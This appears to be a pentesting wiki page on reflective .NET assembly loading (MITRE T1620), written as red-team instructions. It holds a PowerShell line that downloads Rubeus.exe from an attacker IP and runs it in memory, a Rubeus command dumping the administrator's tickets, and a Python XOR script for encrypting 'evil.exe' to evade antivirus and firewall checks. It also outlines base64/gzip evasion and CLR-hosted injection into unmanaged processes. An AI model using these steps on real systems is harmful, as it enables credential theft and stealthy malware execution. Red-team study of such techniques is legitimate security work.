Loading .NET Reflective Assembly
MITRE ATT&CK™ Reflective Code Loading - Technique T1620
Theory
We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.
Practice
Powershell
We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]
When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.
We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.
On the Windows Tartget, via powershell, load the .NET assembly:
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)
#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))We can now call its methods
[Rubeus.Program]::Main("dump /user:administrator".Split())To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:
XOR the Binary using the following python code
def xor_encrypt(data, key):
decrypted_data = bytearray()
key_length = len(key)
for i, byte in enumerate(data):
decrypted_byte = byte ^ ord(key[i % key_length])
decrypted_data.append(decrypted_byte)
return bytes(decrypted_data)
def main():
input_file_path = "evil.exe" # Replace this with the path to your input file
output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
xor_key = "MySuperSecretKey" # Replace "XOR_KEY" with your actual XOR key
with open(input_file_path, "rb") as input_file:
binary_data = input_file.read()
decrypted_data = xor_encrypt(binary_data, xor_key)
with open(output_file_path, "wb") as output_file:
output_file.write(decrypted_data)
if __name__ == "__main__":
main()On the Windows Tartget, decrypt and load the .NET assembly
Now, we can call methods from this assembly
To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:
Use the following powershell script to encode and compress the .NET assembly (change the binary path)
On the target, we can decode, decompress and load the assembly
Now, we can call methods from this assembly
We can build our own DLL in C# and reflectively load it with Powershell.
Compile the csharp code from our Linux host into a DLL
Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly
Call methods
C#
We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method
Compile it, and execute it
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.LoadFile() method
Compile it, and execute it
C/C++
It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.
At a high level, it works as follows:
CLRCreateInstanceis used to retrieve an interface ICLRMetaHostICLRMetaHost->GetRuntimeis used to retrieve ICLRRuntimeInfo interface for a specified CLR versionICLRRuntimeInfo->GetInterfaceis used to load the CLR into the current process and retrieve an interface ICLRRuntimeHostICLRRuntimeHost->Startis used to initialize the CLR into the current processICLRRuntimeHost->ExecuteInDefaultAppDomainis used to load the C# .NET assembly and call a particular method with an optionally provided argument
managed.csis a C# program that is loaded by the unmanaged process.unmanaged.cppis a C++ program that loads a C# assembly (managed.exe). It invoks viaExecuteInDefaultAppDomainthespotlessMethodmethod from the C# assembly
Compile it and execute it
Here is the managed.cs code:
Tools
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.
Dll-Loader
We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.
Invoke-Binary
We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.
PowerSharpPack provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.
Resources
Last updated
Was this helpful?